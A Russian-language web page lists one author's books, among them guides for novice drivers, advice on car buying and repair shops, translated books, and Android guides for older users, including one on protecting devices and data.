Новичок за рулем 2. Выбор автомобиля, дальняя поездка...Новичок за рулем 2. Выбор автомобиля, дальняя поездка...
Книга вторая. Желательно прочтение первой книги. Рекомендуется всем начинающим (и не только) водителям/ . Текст этой книги бесплатно доступен в моем блоге http://dkws.net                                                                                                                                   

Что делать, чтобы не надули в автосервисе. Советует и рекомендует президент клуба BMWЧто делать, чтобы не надули в автосервисе. Советует и рекомендует президент клуба BMW
В этой книге речь пойдет о том, как правильно выбрать СТО; о преимуществах и недостатках гарантии; о том, как не дать в автосалоне навязать себе дополнительную комплектацию                                                                                                                                

Перед покупкой авто. Все, что необходимо знать покупателюПеред покупкой авто. Все, что необходимо знать покупателю
Книга отвечает на все вопросы, которые нужно прояснить для себя перед...                                                                                                                                                                                                                                     

Переводные книги

Переводные книгиПереводные книги
Данные книги были переведены мною на русский язык (с английского и чешского). Надеюсь качество перевода вам понравится!                                                                                                                                                                                      

Android

Планшет и смартфон на базе Android для ваших родителей, 2-е изд.Планшет и смартфон на базе Android для ваших родителей, 2-е изд.
Книга знакомит читателя с мобильными устройствами на базе Android. Она написана простым и понятным языком для людей среднего и старшего возраста                                                                                                                                                             

Безопасный Android: защищаем свои деньги и данные от кражиБезопасный Android: защищаем свои деньги и данные от кражи
Рассмотрены различные способы обеспечения безопасности Android-устройств: шифрование персональной информации, хранящейся на устройстве, шифрование передаваемых данных, VPN-соединения, анонимизация трафика                                                                                             

Планшет и смартфон на базе Android для ваших родителейПланшет и смартфон на базе Android для ваших родителей
Книга рассчитана на людей среднего и старшего возраста. Она поможет освоить современный «карманный компьютер» на базе Android, в котором все новое и "не так, как в Windows". Доступным языком описывается, как включить и выключить смартфон и т.д.                                                         

Статьи

Rambler's Top100